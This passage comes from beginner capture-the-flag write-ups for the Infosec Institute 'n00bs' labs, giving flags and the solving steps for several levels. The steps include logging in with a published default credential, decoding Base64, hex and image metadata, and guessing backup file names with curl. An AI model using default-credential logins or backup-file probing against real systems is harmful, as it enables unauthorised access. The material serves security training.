http://www.cisco.com/c/en/us/support/docs/security/ips-4200-series-sensors/13837-34.html 16 | 17 | 3. Looking for `default username` you should get 18 | 19 | Login using the default username/password of 'root/attack' 20 | 21 | 4. Perform login with `root` and `attack`. You should see a JS alert with value 22 | 23 | ssaptluafed_sigalf_cesofni 24 | 25 | 5. Reverse it 26 | 27 | $ echo "ssaptluafed_sigalf_cesofni" | rev 28 | infosec_flagis_defaultpass 29 | -------------------------------------------------------------------------------- /infosec/n00bs/l10.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_sound 4 | 5 | # Procedure 6 | 7 | 1. Download the WAV file 8 | 9 | $ wget http://ctf.infosecinstitute.com/misc/Flag.wav 10 | 11 | 2. Open it with audio editor (e.g. Audacity) 12 | 13 | $ audacity Flag.waw 14 | 15 | 3. Hear it at playback speed `0.01x` 16 | 17 | -------------------------------------------------------------------------------- /infosec/n00bs/l11.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif 4 | 5 | (infosec_flagis_powerslide) 6 | 7 | # Procedure 8 | 9 | 1. The huge PHP logo image seems to be a hint. Get it and check the matadata 10 | 11 | $ wget http://ctf.infosecinstitute.com/img/php-logo-virus.jpg 12 | $ exiftool php-logo-virus.jpg |grep flagis 13 | Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��. 14 | 15 | 2. Flag seems to be a Base64 encoded string. Let's try to decode it 16 | 17 | $ exiftool php-logo-virus.jpg|grep flagis |cut -d"_" -f3 | base64 -d 18 | http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gifbase64: invalid input 19 | 20 | -------------------------------------------------------------------------------- /infosec/n00bs/l12.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_heyimnotacolor 4 | 5 | # Procedure 6 | 7 | 1. Differently from other levels, this one includes a new CSS file: `design.css`. 8 | 2. Dig it and look at the `.thisloveis` class. It uses a suspect color code 9 | 10 | color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72; 11 | 12 | 3. Try to decode it from HEX to TXT 13 | 14 | $ echo -n "696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72" | perl -ne 's/([0-9a-f]{2})/print chr hex $1/gie' 15 | infosec_flagis_heyimnotacolor 16 | -------------------------------------------------------------------------------- /infosec/n00bs/l13.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_morepackets 4 | 5 | # Procedure 6 | 7 | 1. Generally I append ".bkp" suffix to my backup files. Let's try 8 | 9 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.bkp 10 | 11 | 12 | 404 Not Found 13 | 14 |

Not Found

15 |

The requested URL /levelthirteen.php.bkp was not found on this server.

16 |
17 |
Apache/2.4.7 (Ubuntu) Server at ctf.infosecinstitute.com Port 80
18 | 19 | 20 | Maybe ".backup"? 21 | 22 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.backup 23 | 24 | 25 | 404 Not Found 26 | 27 |

Not Found

28 |

The requested URL /levelthirteen.php.backup was not found on this server.

29 |
30 |
Apache/2.4.7 (Ubuntu) Server at ctf.infosecinstitute.com Port 80
31 | 32 | 33 | Let's try with ".old" 34 | 35 | $ curl http://ctf.infosecinstitute.com/levelthirteen.php.old 36 | 37 | 38 | 39 | 40 | 41 | 42 | Infosec Institute n00bs CTF Labs 43 | 44 | 45 | 46 | 47 | 48 |